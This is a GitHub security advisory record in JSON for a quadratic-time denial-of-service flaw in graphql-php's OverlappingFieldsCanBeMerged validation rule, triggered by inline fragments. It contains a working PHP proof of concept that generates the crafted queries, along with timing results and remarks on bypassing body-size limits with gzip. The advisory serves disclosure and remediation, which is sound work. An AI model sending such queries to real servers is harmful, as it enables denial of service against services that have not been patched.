{"id":"GHSA-fc86-6rv6-2jpm","summary":"webonyx/graphql-php has quadratic validation cost in OverlappingFieldsCanBeMerged via inline fragments","details":"## Summary\n\n`OverlappingFieldsCanBeMerged` validation rule has `O(n^2 x m^2)` worst case via flattened inline fragments. The CVE-2023-26144 named-fragment cache does not cover inline fragments. A 364 KB query (200 outer x 100 inner inline fragments) consumes 117 seconds of CPU per request, with no comparison budget and no validation timeout.\n\n## Affected Component\n\n`src/Validator/Rules/OverlappingFieldsCanBeMerged.php`\n\n## Description\n\ngraphql-php is a PHP port of graphql-js and inherits the same `OverlappingFieldsCanBeMerged` algorithm. The rule performs an explicit `O(n^2)` pairwise comparison loop over fields collected for each response name (`collectConflictsWithin`), and recurses into sub-selections via `findConflict`. When the rule receives a query in which several inline fragments select the same response name at multiple nesting levels, the cost compounds to `O(n^2 x m^2)` where `n` and `m` are the number of inline fragments at the outer and inner levels respectively.\n\ngraphql-php includes a `comparedFragmentPairs` PairSet cache (the same class of memoization fix tracked under [CVE-2023-26144 / GHSA-9pv7-vfvm-6vr7](https://github.com/advisories/GHSA-9pv7-vfvm-6vr7)), but it is keyed by **named fragment** identity. Inline fragments have no name; they are flattened into the parent `$astAndDefs` map by the `case $selection instanceof InlineFragmentNode` branch starting at `OverlappingFieldsCanBeMerged.php:266`, so they are never observed by the cache. Every pair must be re-compared from scratch on every nesting level.\n\nThis finding has been tested against the **latest stable release `webonyx/graphql-php@v15.31.4`** running on PHP 8.3.30.\n\n## Root Cause\n\n### 1. Pairwise `O(n^2)` loop (`collectConflictsWithin`)\n\n```php\n// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:306\n$fieldsLength = count($fields);\n\nif ($fieldsLength \u003e 1) {\n    for ($i = 0; $i \u003c $fieldsLength; ++$i) {                             // line 311\n        for ($j = $i + 1; $j \u003c $fieldsLength; ++$j) {                    // line 312\n            $conflict = $this-\u003efindConflict(\n                $context,\n                $parentFieldsAreMutuallyExclusive,\n                $responseName,\n                $fields[$i],\n                $fields[$j]\n            );\n            // ...\n        }\n    }\n}\n```\n\n`count($fields)` grows without bound when multiple inline fragments select the same response name in the same parent selection set.\n\n### 2. Inline fragment flattening (`internalCollectFieldsAndFragmentNames`)\n\n```php\n// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:266\ncase $selection instanceof InlineFragmentNode:\n    $typeCondition = $selection-\u003etypeCondition;\n    $inlineFragmentType = $typeCondition === null\n        ? $parentType\n        : AST::typeFromAST([$context-\u003egetSchema(), 'getType'], $typeCondition);\n\n    $this-\u003einternalCollectFieldsAndFragmentNames(\n        $context,\n        $inlineFragmentType,\n        $selection-\u003eselectionSet,\n        $astAndDefs,           // flattened into the parent map\n        $fragmentNames\n    );\n    break;\n```\n\n`N` inline fragments selecting the same response name produce `N` entries in `$astAndDefs[$responseName]`, which then trigger `N*(N-1)/2` `findConflict` calls.\n\n### 3. The named-fragment cache does not cover this code path\n\n```php\n// src/Validator/Rules/OverlappingFieldsCanBeMerged.php:41\nprotected PairSet $comparedFragmentPairs;\n\n// :54 (in __construct)\n$this-\u003ecomparedFragmentPairs = new PairSet();\n```\n\n`PairSet` is keyed by `(fragmentName1, fragmentName2)`. Inline fragments have no name; they are folded into the parent selection set before the cache is even consulted. The CVE-2023-26144 fix has zero effect on this code path.\n\n### 4. No comparison budget, no validation timeout\n\nThere is no counter shared across `collectConflictsWithin`, `collectConflictsBetween`, and the recursive `findConflict` calls. The rule runs to completion regardless of cost. graphql-php exposes no `validate_timeout` equivalent.\n\n## Proof of Concept\n\n```php\n\u003c?php\n// composer require webonyx/graphql-php:v15.31.4\nrequire __DIR__.'/vendor/autoload.php';\n\nuse GraphQL\\Language\\Parser;\nuse GraphQL\\Validator\\DocumentValidator;\nuse GraphQL\\Utils\\BuildSchema;\n\n$schema = BuildSchema::build('type Query { field: Node }  type Node { f: Node, g: Node, x: String }');\n\nfunction gen(int $n, int $m): string {\n    $inner = implode(' ', array_fill(0, $m, '... on Node { x }'));\n    $outer = implode(' ', array_fill(0, $n, \"... on Node { f { $inner } }\"));\n    return \"{ field { $outer } }\";\n}\n\necho \" N    M  | size      | validate ms | errors\\n\";\necho \"---------|-----------|-------------|--------\\n\";\nforeach ([[20,20],[50,50],[100,50],[100,100],[150,100],[200,100]] as [$n, $m]) {\n    $q = gen($n, $m);\n    $doc = Parser::parse($q);\n    $t0 = microtime(true);\n    $errors = DocumentValidator::validate($schema, $doc);\n    $elapsed = round((microtime(true) - $t0) * 1000);\n    printf(\"%4d %4d | %7dB | %10d  | %d\\n\", $n, $m, strlen($q), $elapsed, count($errors));\n}\n```\n\n### Measured output on `webonyx/graphql-php@v15.31.4`, PHP 8.3.30, Linux x86_64\n\n```\ngraphql-php version: v15.31.4\nPHP version: 8.3.30\n\n N    M  | size      | validate ms | errors\n---------|-----------|-------------|--------\n  20   20 |    7653B |         71  | 0\n  50   50 |   46113B |       2020  | 0\n 100   50 |   92213B |       7762  | 0\n 100  100 |  182213B |      29660  | 0\n 150  100 |  273313B |      66052  | 0\n 200  100 |  364413B |     117082  | 0\n```\n\nThe growth confirms `O(N^2)` outer scaling: doubling N from 100 to 200 (with M=100 fixed) increases validation time from 29,660 ms to 117,082 ms, a factor of approximately 4. A single 364 KB query consumes **117 seconds** of CPU on one PHP worker with no errors emitted, no timeout, and no remediation.\n\n## Impact\n\n- **Default-on rule**: `OverlappingFieldsCanBeMerged` is part of the rules registered by `DocumentValidator::defaultRules()` and is enabled by default in `DocumentValidator::validate()`. Every Lighthouse, Overblog/GraphQLBundle, wp-graphql, and Drupal GraphQL module application using the standard validation pipeline is exposed.\n- **Pre-execution**: the cost is in the validation phase. `QueryComplexity` and `QueryDepth` rules cannot help: the example query has depth 3 and complexity 1.\n- **PHP `max_execution_time` hits the wall too late**: a default Lighthouse/Laravel deployment ships with `max_execution_time = 30` seconds. A single 100x100 request takes 29.6 seconds in graphql-php, just inside the limit. A 150x100 request takes 66 seconds and will be killed by `max_execution_time`, but the worker has already burned 30 seconds of CPU per request before being killed; an attacker can sustain that load with low-RPS traffic.\n- **Body-size and WAF bypass via gzip**: the payload is the same string repeated N times. A 364 KB raw payload compresses to a few kilobytes via gzip. Any graphql-php deployment behind nginx, Apache, or a CDN with default body-size handling will accept the compressed request and decompress it before reaching the validator.\n- **php-fpm worker pool exhaustion**: each request consumes one full PHP worker process. A typical php-fpm pool has 5-50 workers; an attacker firing a handful of parallel requests pins the entire pool for the duration of the validation.\n- **Existing CVE-2023-26144 fix is insufficient**: the published `PairSet` cache only memoizes named-fragment comparisons, not the inline-fragment flattening path.\n\nThis is the same vulnerability class as **CVE-2023-26144** (partially fixed by named-fragment memoization only) and **CVE-2023-28867** (fully fixed via the Adameit algorithm). Both fixes pre-date this finding.\n\n## Affected Versions\n\n- **`webonyx/graphql-php@v15.31.4`** (latest stable as of 2026-04-08): all measurements above were collected on this version with no custom configuration.\n- All versions of `webonyx/graphql-php` that ship `OverlappingFieldsCanBeMerged` (effectively all 15.x and 14.x stable releases). They share the same code path and are believed vulnerable but were not retested individually.\n\n## Remediation\n\nThree options ordered from best to minimal:\n\n### Option 1 -- Adopt the Adameit algorithm\n\nReplace pairwise comparison with the uniqueness-check algorithm designed by Simon Adameit, used today by graphql-java (post CVE-2023-28867) and Sangria. The algorithm transforms conflict-freedom into a uniqueness requirement and runs in `O(n log n)` instead of `O(n^2)`. See [graphql/graphql-js issue #2185](https://github.com/graphql/graphql-js/issues/2185) for the design discussion and the [Sangria PR #12](https://github.com/sangria-graphql-org/sangria/pull/12) for the original implementation.\n\n### Option 2 -- Comparison budget\n\nAdd a comparison counter on `OverlappingFieldsCanBeMerged` shared across `collectConflictsWithin`, `collectConflictsBetween`, and the recursive `findConflict` calls. Throw a `Error` after a configurable threshold (for example 10,000 comparisons by default). This is the approach graphql-java implemented after CVE-2023-28867.\n\n### Option 3 -- Cap inline-fragment flattening\n\nIn `internalCollectFieldsAndFragmentNames`, cap `count($astAndDefs[$responseName])` at a configurable limit (for example 1,000) and emit a validation error if exceeded. This is a narrower fix that targets the specific bypass path but does not address other potential `O(n^2)` surfaces.\n\n## Resources\n\n- [CVE-2023-26144 -- graphql-js (partial fix, named-fragment cache only)](https://github.com/advisories/GHSA-9pv7-vfvm-6vr7)\n- [CVE-2023-28867 -- graphql-java (full fix via Adameit algorithm)](https://github.com/advisories/GHSA-p4qx-6w5p-4rj2)\n- [graphql-js Issue #2185 -- Faster algorithm for OverlappingFieldsCanBeMerged](https://github.com/graphql/graphql-js/issues/2185)\n- [Sangria PR #12 -- original optimised implementation](https://github.com/sangria-graphql-org/sangria/pull/12)\n- [GraphQL spec section 5.3.2 -- Field Selection Merging](https://spec.graphql.org/October2021/#sec-Field-Selection-Merging)\n- Companion advisory for this implementation: `GraphQL\\Language\\Parser` parser stack overflow via deeply nested queries (Unbounded recursion in parser causes stack overflow on crafted nested input).","modified":"2026-05-05T16:43:35.283421Z","published":"2026-05-04T22:22:09Z","database_specific":{"nvd_published_at":null,"cwe_ids":["CWE-407"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-05-04T22:22:09Z"},"references":[{"type":"WEB","url":"https://github.com/webonyx/graphql-php/security/advisories/GHSA-fc86-6rv6-2jpm"},{"type":"WEB","url":"https://github.com/graphql/graphql-js/issues/2185"},{"type":"WEB","url":"https://github.com/sangria-graphql-org/sangria/pull/12"},{"type":"WEB","url":"https://github.com/webonyx/graphql-php/commit/996adcfce33442f6fc01214777bc8620cc142d85"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9pv7-vfvm-6vr7"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p4qx-6w5p-4rj2"},{"type":"PACKAGE","url":"https://github.com/webonyx/graphql-php"},{"type":"WEB","url":"https://github.com/webonyx/graphql-php/releases/tag/v15.32.2"},{"type":"WEB","url":"https://spec.graphql.org/October2021/#sec-Field-Selection-Merging"}],"affected":[{"package":{"name":"webonyx/graphql-php","ecosystem":"Packagist","purl":"pkg:composer/webonyx/graphql-php"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"15.32.2"}]}],"versions":["14.10.0","v0.1","v0.10.0","v0.10.0-rc1","v0.10.1","v0.10.2","v0.11.0","v0.11.1","v0.11.2","v0.11.3","v0.11.4","v0.11.5","v0.11.6","v0.12.0","v0.12.1","v0.12.2","v0.12.3","v0.12.4","v0.12.5","v0.12.6","v0.13.0","v0.13.1","v0.13.2","v0.13.3","v0.13.4","v0.13.5","v0.13.6","v0.13.7","v0.13.8","v0.13.9","v0.2","v0.3","v0.4","v0.5","v0.5.1","v0.5.2","v0.5.3","v0.5.4","v0.5.5","v0.5.6","v0.5.7","v0.5.8","v0.5.9","v0.6.0","v0.6.1","v0.6.2","v0.6.3","v0.6.4","v0.7.0","v0.7.1","v0.7.2","v0.8.0","v0.9.0","v0.9.1","v0.9.10","v0.9.11","v0.9.12","v0.9.13","v0.9.14","v0.9.2","v0.9.3","v0.9.4","v0.9.5","v0.9.6","v0.9.7","v0.9.8","v0.9.9","v14.0.0","v14.0.1","v14.0.2","v14.1.0","v14.1.1","v14.11.0","v14.11.1","v14.11.10","v14.11.2","v14.11.3","v14.11.4","v14.11.5","v14.11.6","v14.11.7","v14.11.8","v14.11.9","v14.2.0","v14.3.0","v14.4.0","v14.4.1","v14.5.0","v14.5.1","v14.6.0","v14.6.1","v14.6.2","v14.6.3","v14.6.4","v14.7.0","v14.8.0","v14.9.0","v15.0.0","v15.0.0-alpha.1","v15.0.0-alpha.2","v15.0.0-beta.1","v15.0.1","v15.0.2","v15.0.3","v15.1.0","v15.10.0","v15.11.0","v15.11.1","v15.11.2","v15.12.0","v15.12.1","v15.12.2","v15.12.3","v15.12.4","v15.12.5","v15.13.0","v15.14.0","v15.14.1","v15.14.2","v15.14.3","v15.15.0","v15.16.0","v15.16.1","v15.17.0","v15.18.0","v15.18.1","v15.19.0","v15.19.1","v15.2.0","v15.2.1","v15.2.2","v15.2.3","v15.2.4","v15.2.5","v15.20.0","v15.20.1","v15.21.0","v15.21.1","v15.21.2","v15.21.3","v15.22.0","v15.22.1","v15.22.2","v15.22.3","v15.22.4","v15.23.0","v15.23.1","v15.24.0","v15.25.0","v15.25.1","v15.25.2","v15.26.0","v15.27.0","v15.27.1","v15.27.2","v15.28.0","v15.29.0","v15.29.1","v15.29.2","v15.29.3","v15.29.4","v15.3.0","v15.3.1","v15.3.2","v15.30.0","v15.30.1","v15.30.2","v15.31.0","v15.31.1","v15.31.2","v15.31.3","v15.31.4","v15.31.5","v15.32.0","v15.32.1","v15.4.0","v15.5.0","v15.5.1","v15.5.2","v15.5.3","v15.6.0","v15.6.1","v15.6.2","v15.6.3","v15.7.0","v15.8.0","v15.8.1","v15.9.0","v15.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-fc86-6rv6-2jpm/GHSA-fc86-6rv6-2jpm.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}